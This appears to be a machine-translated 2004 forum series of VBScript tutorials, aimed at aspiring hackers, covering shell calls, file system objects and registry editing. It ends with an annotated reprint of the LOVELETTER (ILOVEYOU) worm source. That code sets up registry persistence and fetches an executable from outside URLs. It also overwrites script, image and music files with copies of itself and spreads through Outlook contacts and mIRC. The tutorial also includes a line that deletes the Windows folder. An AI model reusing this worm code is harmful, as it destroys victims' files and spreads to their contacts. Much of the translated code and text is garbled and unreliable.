Scripting programming (1)
By SSSA2000
7/4/2004
Many friends on the forum ask questions about scripts, just recently more interested in scripts, just write something. First explain, all of my code is VBScript, Jscript I have not studied, but I think it is almost.
About the most basic grammar, such as variables, branches, cycles, functions calls, etc. These I will not talk, don't know how to look at them.
1, our first VBS program: or the old winter winter that is old.
********************************************************** ***
Dim Hello
Hello = "Hello World!"
WScript.echo Hello
WScript echo "this is my first VBS"
It can be seen that there are two kinds of usage of WScript.echo, which is not difficult.
You can double-click to run directly, you can enter: the command line of the current directory:
CScript Hello.vbs
2, call other programs in the script:
Using the run () method, you must build an instance of the shell before use.
******************* surround.vbs *********************************** ****************
SET WS = WScript.createObject ("wscript.shell")
Ret = ws.run ("NOTEPAD", 3, TRUE)
if Ret = 0 THEN
WScript.echo "succeed!"
Else
Wscript.echo "There is a error, The error Number is:"
WScript.echo CSTR (RET)
END IF
*********************************************************** *******************************
Here Run has three parameters, the first parameter is the path to the program you want to execute
The second program is the form of the window, 0 is running in the background;
1 means normal operation
2 demonstrate the activation program and display it to minimize
3 demonstrate the activation program and display it to maximize
I have 10 such parameters I only list 4 most commonly used.
The third parameter is that this script is waiting or continues, if set to true, the script will wait for the program to exit after being exit.
Notice that there is no, I have a variable that accepts the return value in front of Run. Generally speaking, if it returns to 0, it means successfully executed, if not 0, then this return value is the error code, can find the corresponding corresponding to this code mistake.
3, Inputbox and MSGBox
People who will vb should be familiar with two things, and there is no difference in usage.
Input = INPUTBOX ("please enter you password", "passwd")
IF Input <> "1234"
THEN
MSGBOX "you enter a wrong passwd"
END IF
Of course, you can also add a button to the MSGBOX, accept the user's choice with a variable
For example: RET = MSGBOX "Continue?", Vbyesnocancel
Return value and constant controls are as follows:
VBOK 1
Vbcancel 2
Vbabort 3
Vbretry 4
VBIGNORE 5
Vbyes 6
VBNO 7
4, error handling
What VB is used in Error ResMe next
This is nothing to say, if you encounter an error, skip continuing to do the next sentence. Ok, this method is very mentally, you need to have a method, VBScript provides an object ERR object.
He has two methods clear, raise
5 properties: Description, HelpContext, HelpFile, Number, Source
We can use Err.Number to get the wrong number, for example
************* ************************************ *****
ON Error ResMe next
A = 11
B = 0
C = a / b
IF Err.Number <> 0 THEN
Wscript.echo err.Number & Err.Description & Err.Source
END IF
We can use Err.raisel to handle errors
For example, we have to generate a Path Not Found error tells the user that the path he filled in is not
ON Error ResMe next
Err.raise 76
MsgBox "error:" & Err.Description
Err.clear
All the above are the foundation, I will write here today, so tired, huh, huh, if you have any reprints. Tell you the document system tomorrow. VBScript scripting programming tutorial 2
By SSSA2000
7/7/2004
Let's take a look at how to use FSO to perform file operation. The core of file operation is performed in the VBS during FSO. As a hacker, no matter what language learned, the operation of the document should be as good as it is, so please study carefully.
Don't talk nonsense, first look at the FSO, which object consists of:
Drive Object: Contains information for storage devices, including hard disk, optical drive, RAM disk, network drive
DRIVES collection: Provide a list of physical and logical drives
File object: check and process file
Files Collection: Provides a list of files in a folder
Folder object: Check and process folders
Folders Collection: Provide a list of bonfolders in folder
TextStream Object: Read and write text files
Take a look at the fso method: Due to a lot, I will not write every role, if you don't understand, check it yourself for MSDN. Don't say no
BULIDPATH: Add file path information to an existing file path
CopyFile
CopyFolder
CreateFolder
CreateTextFile
Deletefile
Deletefolder
Dreveexits
FileExits
Folderexists
GetabsolutePathname: Returns an absolute path for a folder or file
GetBaseName: Returns the basic path of a file or folder
GETDRIVE: Return to a DREVE object
GetDriveName: Returns the name of a drive
getExtensionName: Return to the extension
getFile: Return to a File object
GetFileName: Returns the file name in the folder
GetFolder
getParentFoldername: Returns a folder of a folder
GetSpecialFolder: Returns the object pointer to a special folder
GetTempName: Returns a name of a randomized file or folder that can be used by CreateTextFile
Movefile
Movefolder
OpenTextFile
Ok, I see this here, I think everyone understands more than half. I may not have to say more. The script is so simple, huh, huh, or continue. 1, use FSO
Since Fso is not part of WSH, we need to build his model
For example set fs = wscript.createObject ("scripting.filesystemObject")
This creates an FSO model. It is also very simple if you want to release, set fs = nothing
2, use folders
create:
We need to check if there is existence before creating, look at the program
********************************************************************************************************************************************************TION **********
DIM FS, S
Set fs = wscript.createObject ("scripting.filesystemobject")
IF (fs.folderexists)).
S = "is available"
Else
s = "not exist"
SET foldr = fs.createfolder ("c: / temp")
END IF
Delete, copy, move
delete:
Set fs = wscript.createObject ("scripting.filesystemobject")
fs.Deletefolder ("C: / Windows")
copy:
Set fs = wscript.createObject ("scripting.filesystemobject")
fs.copyfolder "C: / Data" "D: / data"
Note, if this time C: / Data and D: / Data exists, it will be wrong, replication will stop, if you want to force overwrites, use fs.copyfolder "C: / Data" "D: / data", True
mobile
Set fs = wscript.createObject ("scripting.filesystemobject")
Fs.MoveFolder "C: / Data" "D: / data"
About wildcard:
We can use a homer to facilitate operation:
For example, fs.movefolder: c: / data / te * "," D: / Working "
Notice that there is no, I haven't used it in the destination path "/" that is, I don't know this:
Fs.MoveFolder: C: / Data / TE * "," D: / Working / "
If you write this, if the D: / Working directory does not exist, Windows will not automatically create this directory for us.
Another point, everyone notes that there is no Folder object that is not mentioned above, we all use the FSO to provide the way, of course, using the Folder:
Set fs = wscript.createObject ("scripting.filesystemobject")
Set f = fs.getfolder ("C: / Data")
f.delete 'delete. If there is a subdirectory, it will be deleted
F.copy "D: / Working", True 'Copy to D: / Working
f.Move: "D: / Temp" "Move to D: / Temp
Special folder
Generally, the system folder: / windows / system32, temporary folder, Windows folder
Look Now, we use the environment variable to get a Windows directory. We will say in the back of the environment variable. If I forget, please remind me to set fs = wscript.createObject ("scripting.filesystemObject")
SET WSHSHELL = WScript.createObject ("wscript.shell")
OSDir = WSHSHELL.EXPANDENVIRONMENTSTRINGS ("% systemroot%")
Set f = fs.getFolder (OSDir)
Wscript.echo f
Of course, there is a simple method that is to use getSpecialFolder ()
This method uses three values:
0 indicates the Windows folder, the relevant constant is WindowsFolder
1 System folder, related constants is SystemFolder
2 Temporary catalog, related constant TempoRoyalfolder
Look at the example below:
******************************************************************************************************************************* ************
Set fs = wscript.createObject ("scripting.filesystemobject")
Set wfolder = fs.getspecialfolder (0) 'Returns Windows Directory
Set wfolder = fs.getspecialfolder (1) 'Returns SYSTEM32 /
Set wfolder = fs.getspecialfolder (2) 'Returns a temporary directory
3, use the file
Use the file properties:
I didn't say the attribute of the folder, everyone can raise an array from the file properties.
The file attribute is common:
Normal 0
READONLY 1
Hideen 2
System 4
Set fs = wscript.createObject ("scripting.filesystemobject")
Set f = fs.gerfile ("d: /index.txt")
F.attributes = f.attributes 1
Here, since the file properties of D: /index.txt are not known, unpredictable results will occur. If the properties of the file are 0, then it will become 1. So it is best to inquire before changing attributes
create
You need to check if the file is existing, the method is the same before you create, the method is the same as the folder.
************************************************** *****************
Set fs = wscript.createObject ("scripting.filesystemobject")
IF fs.fileexists ("c: /asd.txt") THEN
s = "available"
Else
s = not exist
Set f = fs.createtextfile ("c: /asd.txt")
END IF
Of course, we can also use Set f = fs.createtextfile ("c: /asd.txt", true)
To enforce the existing files.
Copy mobile delete file
As with the folder, we can use the FSO to provide both FILE objects.
Set fs = wscript.createObject ("scripting.filesystemobject")
fs.copyFile "C: /ASD.txt", "D: /1/ASD.txt", True 'copy file, if there is already forced overlay
fs.movefile "C: /asd.txt", "D: /" "Mobile
fs.deletefile "C: /asd.txt" deleted, the next chapter we have to learn the read and write, the reading and writing of the file is the file system, especially in the hacker programming, today I might There are a lot of mistakes, when you look at it, don't know how to look at MSDN, and improve the level only, others can't help you.
VBScript scripting programming 3 About file reading and writing
By SSSA2000
7/9/2004
Use VBScript to read and write files, very convenient, nonsense, to remove the topic.
1, open the file
Use the OpenTextFile method
Set fs = creteObject ("scripting.filesystemobject")
Set ts = fs.opentextfile ("c: /1.txt", 1, true)
Note that the full path to the file is required, and a parameter behind is an access mode.
1 is forreading
2 is forwriting
8 is appending
The third parameter specifies whether it is created if the specified file does not exist.
2, read the file
There are three ways to read the file.
Read (x) Read X characters
Readline reads a line
Readall all read
E.g:
Set fs = creteObject ("scripting.filesystemobject")
Set ts = fs.opentextfile ("c: /1.txt", 1, true)
Value = TS.READ (20)
Line = ts.readline
Contents = TS.Readall
Here you still have to introduce several pointer variables:
The ATENDOFSTREAM property of the TextStream object. This attribute returns true when it is in the end of the file. We can use loop detection without reaching the end of the file. E.g:
Set fs = creteObject ("scripting.filesystemobject")
Set f = fs.getfile ("c: /1.txt", 1, false)
Set ts = f.OpenastextStream (1,0)
Do While Ts.atendofstream <> true
F.Read (1)
loop
There is also an attribute, ATENDOFLINE, if you have reached the end of the row, this property returns True.
The TextStream object also has two useful properties, column, and line.
After opening a file, the row and column pointers are set to 1.
Look at an integrated example:
***************************** READ.VBS ***************** *************
Set fs = creteObject ("scripting.filesystemobject")
Set f = fs.opentextfile ("c: /1.txt", 1, true)
Do While F. Dendofstream <> TRUE
Data = ""
For a = 1 TO 5
IF f.atendofstream <> true kil
Data = DATA F.Readline
END IF
NEXT
DataSet = DataSet 1
WScript.echo "Data Set" & Dataset & ": & data
loop
Finally, let's jump in the file.
Skip (x) Skip X characters
Skipline skipping a line
The usage is also very simple and the front, just don't say it.
3, write files
You can write with Forwriting and FORAPPENDING way
Write 3 methods: Write (x)
WriteLine
Writeblanklines (n) is written in NS
Let's take an example:
*********************************************************** ****************
Data = "Hello, I like script programing"
Set fs = creteObject ("scripting.filesystemobject")
IF (fs.fileexists)).
Set f = fs.opentextfile ("c: /2.txt", 8)
F.Write Data
F.Writeline Data
f.close
Else
Set f = fs.opentextfile ("c: /2.txt", 2, true)
F.WriteBlanklines 2
F.Write Data
f.close
END IF
Note Be sure to turn off after writing the file! ! ! ! ! ! ! Also, if you want to read the file and write a file, you must also remember to turn off after reading it, so that you can open it in a written manner.
It's better to finish the documents, and it is possible to involve the operation of the string.
Inside 1 chapter, I intend to write a little driver and registry, the script programming is also very rich, I only talk about hackers. Today, I'm so tired, and I will not be able to fill in the forum. I will delete it every day. This is not good, the forum is everyone, I write some original things every day to make our forum and other forums Some different, I have a limited strength, but also rely on everyone's power, I plan to find a few people in the face of a few people, so that our forum is a bit represented.
Very late, rest.
######################################################################################################################################################################################################################################################################################################## ######################################################################################################################################################################################################################################################################################################## ##########################################
Registry, modifying the registry is a basic skill of programming, and scripting is of course no exception.
Here, I will no longer explain the basic structure of the registry.
1. Read the keywords and values of the registry:
The regread method of the WSHSHELL object can be passed by putting the full path of the keyword
E.g:
SET WS = WScript.createObject ("wscript.shell")
v = ws.regread ("HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / Currentversion / Run / NWIZ")
WScript.echo V
2, write registry
There is a written, using the regWrite method using WSHSHELL object
View example:
Path = "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Run /"
SET WS = WScript.createObject ("wscript.shell")
T = ws.regwrite (Path & "JJ", "Hello")
This will
HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Run / JJ This key value is changed to Hello. But pay attention: This key value must presented in advance. If you want to create a new keyword, it also uses this method.
Path = "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / Currentversion / Run / SSSA2000 / Love /"
SET WS = WScript.createObject ("wscript.shell")
Val = ws.regwrite (path, "nenboy")
Val = ws.regread (PATH)
WScript.echo Val
Delete keywords and values
Use the regdelete method to pass the complete path to Regdelete.
E.g
Val = ws.regdel (PATH)
Note that if you want to delete the value of the keyword, be sure to add "/" in the path, if you do not add a slant line, you will delete the entire keyword.
Ok, the most basic script programming is finished. In fact, the script is also very simple. You look at this source code of the LOVELETTER virus that has been famous. In addition to the email, I didn't speak, others are clear. ?
REM BAROK -LOVELETTER (VBE) Rem by: spyder / ispyder@mail.com / @grammersoft group / manila, philip pines' Note: Program author's signature (possibly)
On Error Resume Next dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow eq = "" ctr = 0 Set fso = CreateObject ( "Scripting.FileSystemObject") 'Note: FileSystemObject system is M $ VBVM The most dangerous part, its function is very powerful
'Use FSO from viruses to know that by modifying the registry, it can easily prevent the LETTER episode.
Set file = fso.opentextfile (wscript.scriptfullname, 1) 'Returns the full path of the current script vbscopy = file.readAll Main ()' Note - Program initialization is completed.
sub main () On Error Resume Next dim wscr, rr set wscr = CreateObject ( "WScript.Shell") rr = wscr.RegRead ( "HKEY_CURRENT_USER / Software / Microsoft / Windows Scriptin g Host / Settings / Timeout") if (rr> = 1) THEN WSCR.REGWRITE "HKEY_CURRENT_USER / SOFTWARE / Microsoft / Windows Scripting Host / Settings / Timeout", 0, "REG_DWORD" 'Note - Prevents the termination caused by the operation timeout. 'It should be said that programmers who write viruses take into account possible problems, this is worth all of the programming. Endiffialfolder (0) Set Dirsystem = fso.getspecialfolder (1) Set dirtemp = fso.getspecialFolder (2) 'Get the name of the system key folder "VB can be used when programming. Set c = fso.getfile (wscript.scriptfullname) 'Returns the full path of the current script C.copy (Dirsystem & "/ mskernel32.vbs")' Copies a specified file or folder from one location to another. C.copy (Dirwin & "/ Win32DLL.VBS ") C.copy (Dirsystem &" / Love-letter-for-you.txt.vbs ") 'Copy itself to the key directory. 'The file name is not very good. It's easy to find it.
Regruns () html () spreadtoemail () ListAdriv () End Sub
Sub regruns () 'Modify the registry to automatically load the virus program' prevention: often check this branch in the registry. 'Known methods also put HTA in a Startup folder. The method used by the virus program is more advanced, 'Because it does not fail because of language problems.
On Error Resume Next Dim num, downread regcreate "HKEY_LOCAL_MACHINE / Software / Microsoft / Windows / CurrentVersio n / Run / MSKernel32", dirsystem & "/ MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE / Software / Microsoft / Windows / CurrentVersio n / RunServices / Win32DLL" , dirwin & "/ Win32DLL.vbs" downread = "" downread = regget ( "HKEY_CURRENT_USER / Software / Microsoft / Internet Explore r / Download Directory") if (downread = "") then downread = "c: /" end if if ( FileExist (Dirsystem & "/ Winfat32.exe") = 1) Ten Randomize Num = INT ((4 * RND) 1) if Num = 1 Then Regreate "HKCU / Software / Microsoft / Internet Explorer / Main / Start Page", " http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj w6587345gvsdf7679njbvYT / WIN-BUGSFIX.exe "elseif num = 2 then regcreate" HKCU / Software / Microsoft / Internet Explorer / Main / Start Page "," http: // www .skyinet.net / ~ angelcat / skladjflfdjghKJnwetryDGFikjUIyqwerWe 546786324hjk4jnHHGbvbmKLJKjhkqj4w / WIN-BUGSFIX.exe "elseif num = 3 then regcreate" HKCU / Software / Microsoft / Internet Explorer / Main / Sta rt Page "," http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm POhfgER67b3Vbvg / WIN-BUGSFIX.exe "elseif num = 4 then regcreate" HKCU / Software / Microsoft / Internet Explorer / Main / Start Page "," http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg / WIN-B UGSFIX.exe "end if end if if (fileexist (downread &" / WIN-BUGSFIX.exe ") = 0) then regcreate" HKEY_LOCAL_MACHINE / Software / Microsoft / Windows / CurrentVersio N / Run / Win-Bugsfix ", DownRead &"
/WIN-BUGSFIX.exe "regcreate" HKEY_CURRENT_USER / Software / Microsoft / Internet Explorer / Main / Start Page "," about: blank "end if end subsub folderlist (folderspec) 'Traverse Folder On Error Resume Next dim f, f1, sf set f = fso.getfolder (folderspec) set sf = f.subfolders 'Get all subfolders of a particular folder, including system hidden folder for Each F1 in sf' F1 object infectfiles for each subfolder INFECTFILES (f1.path) 'Operation Folderlist (f1.path) in Infectious files Folder Download NEXT END SUB
Sub ListAdriv 'traverses all drives. On Error Resume Next DIM D, DC, S set DC = fso.drives for Each D in DC if D.driveType = 2 or D.DriveType = 3 THEN '2.3 is hard disk and network sharing disk FolderList (D.Path & "/ ") End if next listadriv = s end sub
Function FileExist (filespec) 'Judging whether the file has' purely from the technical perspective, this program is not working. 'Don't write so long, you can implement the same function on Error Resume next Dim Msg if (fso.fileexists (filespec)) THEN MSG = 0 else msg = 1 end if fileexist = msg End Function
Function FolderExist (folderspec) 'Decision is as stinking with the folder' and the previous program. On Error ResMe Next Dim Msg IF (Fso.GetFoldRexists (FSO.GETFOLDEREXISTS (Folderspec)) THEN MSG = 0 else msg = 1 end if fileexist = msg end function
Sub infectfiles (folderspec) 'Performs the operation of the infectious file.
On Error ResMe Next Dimf, F1, FC, EXT, AP, MIRCFNAME, S, BNAME, MP3 set f = fso.getfolder (folderspec) set fc = f.files' Get all files of a particular folder, including the system Hidden File for Each F1 in FC EXT = fso.GETEXTENSITIONNAME (F1.Path) 'Get Extensions EXT = LCase (EXT)' Transition to lowercase S = LCase (f1.name) IF (ext = "vbs") or (ext = "VBE") THEN SET AP = fso.opentextFile (f1.path, 2, true) ap.write vbscopy 'vbscopy = file.readall ap.close elseif (ext = "js") or (ext = "jse") OR (ext = "css") or (ext = "wsh") or (ext = "hta") The set ap = fso.opentextfile (f1.path, 2, true) AP. Write vbscopy ap.close bName = fso.getBaseName (f1.path) set copick = fso.getfile (f1.path) Cop.copy (folderspec & "/" & bname & ". vbs") fso.deletefile (f1.path) Elseif Ext = "jpg") or (ext = "jpeg") THEN SET AP = fso.opentextFile (f1.path, 2, true) ap.write vbscopy ap.close set cop = fso.getfile (f1.path) COP. COPY (F1.Path & "VBS") fso.deletefile (f1.path) Elseif (ext = "mp3") or (ext = "mp2") THEN SET MP3 = fso.createtextFile (f1.path & ". vbs") Mp3.write vbscopy mp3.close set at T = fso.getfile (f1.path) att.attributes = att.attributes 2 end if if (eq <> folderspec) THEN IF (S = "mirc32.exe") or (s = "mlink32.exe") or (s = "mirc.ini") or (s = "scri pt.ini") or (s = "mirc.hlp") THEN SET scriptini = fso.createtetextfile (Folderspec & "/ script.ini") scriptini.writeline [script] "scriptini.writeline"; mirc script "scriptini.writeline";
Please dont edit this script ... mirc will Corru PT, IF mirc will "scriptini.writeline" Corrupt ... Windows Will Affect and Will Not Run Correctly. Thanks "'The English in the virus Author did not learn well ... but so frightened People are also suffering. 'Here, you will remind you to pay attention, don't care about the scary text, you will find a lot of vulnerabilities. Scriptini.writeline ";" scriptini.writeline "; khaled mardam-bey" scriptini.writeline " http://www.mirl.com "scriptini.writeline"; "scriptini.writeline" n0 = on 1: join: #: {"scriptini.writeLine" n1 = / if ($ nick == $ me) {halt } "scriptini.writeline" n2 = /.dcc send $ nick "& Dirsystem &" / Love-letter-fo r-you.htm "scriptini.writeLine" N3 =} "pay attention, the result of this is that MIRC can also be infected Virus. Scriptini.close EQ = folderspec end if end if next end subsub regreate (regable, regvalue) 'Modifying the registry (creating key)' This program seems to be a Microsoft's demonstration program. SET regedit = CreateObject ("wscript.shell" ) regedit.regwrite regkey, Regvalue End Sub
Function Regget (Value) 'This program seems to be a Microsoft's demonstration program. (WSH Demonstration, in Windows Folder) SET regedit = CreateObject ("wscript.shell") regget = regedit.regread (value) end function
sub spreadtoemail () 'diffusion Email On Error Resume Next dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad set regedit = CreateObject ( "WScript.Shell") set out = WScript.CreateObject ( " Outlook.Application ") 'Virus Limitations: Only Outlook, and Outlook Express does not support. set mapi = out.GetNameSpace ( "MAPI") for ctrlists = 1 to mapi.AddressLists.Count set a = mapi.AddressLists (ctrlists) x = 1 regv = regedit.RegRead ( "HKEY_CURRENT_USER / Software / Microsoft / WAB /" & a ) IF (regv = ") THEN REGV = 1 end if if (int (a.addressentries.count)> int (regv)) THEN for ctrentries = 1 to a.addressentries.count MaleAd = a.addressentries (x) Regad = "" Regad = regedit.regread ("HKEY_CURRENT_USER / SOFTWARE / Microsoft / WAB /" & MALE AD) IF (regad = ") THEN SET MALE = out.createItem (0) Male.Recipients.Add (MaleAd) Male.Subject = "IloveYou" The reason for the name of the virus' "see such a message is definitely a virus. The normal person of the mind is probably not straightforward. male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from m e." male.Attachments.Add (dirsystem & "/ LOVELETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER / Software / Microsoft / WAB / "& malead, 1," REG_DWORD "end if x = x 1 next regedit.RegWrite" HKEY_CURRENT_USER / Software / Microsoft / WAB / "& a, a.Addre ssEntries.Count else regedit.RegWrite" HKEY_CURRENT_USER / Software / Microsoft / WAB / "& A, A.Addre Ssentries.count End End Set Out = Nothing SET MAPI = Nothing End Sub Sub HTML 'From the technical point of view, this program is very beautiful, the reason is to fully utilize Outlook Resource 'deserves the reference of the program. 'The _ symbol in the middle of the program is the cable, so the comment is written here. 'There are many invalid statements in the program, and there are a lot of space.
On Error ResMe next Dim line, N, DTA1, DTA2, DT1, DT2, DT3, DT4, L1, DT5, DT6 DTA1 = "
"" & vbcrf & _ " -? Head>
this html file nesed ActiveX Control -? p>
to enable to r EAD this HTML FILE < Br> - please press # - # Yes # - # Button to enable Active x -? P> "& vbcrf & _" -? Center>